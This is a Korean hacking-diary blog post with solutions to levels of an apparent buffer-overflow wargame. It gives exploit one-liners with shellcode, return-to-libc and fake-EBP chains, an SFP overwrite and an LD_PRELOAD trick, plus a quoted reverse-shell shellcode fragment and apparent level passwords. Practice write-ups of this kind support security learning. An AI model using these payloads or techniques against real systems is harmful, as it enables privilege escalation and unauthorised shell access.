고졸백수해킹일기

reverse shell 이용쉘코드는 exploit-db 참조shellcode=\"\xeb\x11\x5e\x31\xc9\xb1\x6b\x80\x6c\x0e\xff\x35\x80\xe9\x01"+\"\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\xe5\x7b\xbd\x0e\x02\xb5"+\"\x66\xf5\x66\x10\x66\x07\x85\x9f\x36\x9f\x37\xbe\x16\x33\xf8"+\"\xe5\x9b\x02\xb5\xbe\xfb\x87\x9d\xf0\x37\xaf\x9e\xbe\x16\x9f"+\"\x45\x86\x8b\xbe\x16\x33\xf8\xe5\x9b\x02\xb5\x87\x8b\xbe\x16"+\"\xe8\x39\xe5\x9b\x02\xb5\x87\x87..

(python -c 'print "\x90"*19+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+"\x01\x50\x01\x40"';cat) | ./xavius 다른 문제와 다르게 fgets으로 받는다 그리고 소스를 보면 ret주소에 스택영역의 주소와 libc주소를 사용하지 못한다따라서 stdin영역을 사용하기로 했다. nop[19] + shellcode[25] + ret[4] (stdin address) throw me away

./nightmare `python -c 'print "\xe0\x8a\x05\x40"+"aaaa"+"\xf9\xbf\x0f\x40"+"a"*32+"\x10\x84\x04\x08"+"aaaa"+"\x00\xfa\xff\xbf"+"\xd0\xf9\xff\xbf"'`0x40 0f bf f9buf{system+dummy+/bin/sh address +dummy 32byte} + strcpy addr + dummy[4] + strcpy ret + buf start addr beg for me

./succubus `python -c 'print "A"*44+"\xec\x87\x04\x08"+"\xbc\x87\x04\x08"+"\x8c\x87\x04\x08"+"\x5c\x87\x04\x08"+"\x24\x87\x04\x08"+"AAAA"+"\x98\xfa\xff\xbf"+"/bin/sh"'` buf[40] -> SFP[4]-> DO address -> GAE address -> GUL address -> YUT address -> MO adddress -> dummy[4] -> /bin/sh address -> /bin/sh here to stay

fake EBP./zombie_assassin `python -c 'print "\x90"*4+"\xe0\x8a\x05\x40"+"\xe0\x91\x03\x40"+"\xf9\xbf\x0f\x40"+"\x90"*24+"\x90\xfa\xff\xbf"+"\xdf\x84\x04\x08"'` no place to hide

./assassin `python -c 'print "A"*44+"\x1e\x85\x04\x08"+"\x14\xfc\xff\xbf"'` `python -c 'print "\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80"'` ret부분에 코드영역의 ret명령을 사용했다.buf + ret + shellcode ret +shellcode pushing me away

execve를 사용한 RTLpayload = buf[40byte] + SFP[4] + execve_addr + system_addr + exit_addr + /bin/sh addr + null one step closer

../bugbear `python -c 'print "\x90"*44+"\xe0\x8a\x05\x40"+"BBBB"+"\x1a\xfc\xff\xbf"+"/bin/sh"'`;RTL을 이용하여 exploit해주면 된다.system 주소는 main에 bp를 걸어주고 p system을 쳐주면 구할 수 있다./bin/sh의 주소는 esp+8에 넣어주면 된다. uid=512(darkknight) gid=512(darkknight) euid=513(bugbear) egid=513(bugbear) groups=512(darkknight)bash$ my-passeuid = 513new divide

나도 어떻게 푼건진 잘 모르겠지만 일단 "A"*40+"B"이렇게 입력하면 ebp(sfp)의 값을 덮어쓸수 있게된다.leave ret과정은 아래와 같다.mov %ebp,%esppop %ebppop %eipjmp %eip ebp에 shellcode가 들어있는 주소를 넣게되면 쉘이 따이게 된다.gdb에서는 왠지 모르게 argv error도 뜨고, 주소를 참조할수 없다고 막 뜨는데, 그냥 실행해보면 문제가 풀린다.(왜 그런지는 모르겠다. 화났다. 푼건 4시30분인데 의미없는 디버깅 2시간 20분동안 했다 짜증난다) new attacker

공유 라이브러리인 LD_PRELOAD에 관한 문제환경변수에 LD_PRELOAD를 등록해 놓으면 모든 프로그램을 실행할때 LD_PRELOAD에 등록되어있는것을 공유라이브러리로 인식하고 적재하게 된다. setuid와 setgid가 걸린 파일은 라이브러리의 역할을 하지 못하지만, 이름은 메모리에 적재되게 된다. nop slide와 쉘코드를 이름으로 한 파일을 LD_PRELOAD에 등록하고 ret을 LD_PRELOAD가 등록된 주소로 돌려주면 쉘이 따이게 된다. cup of coffee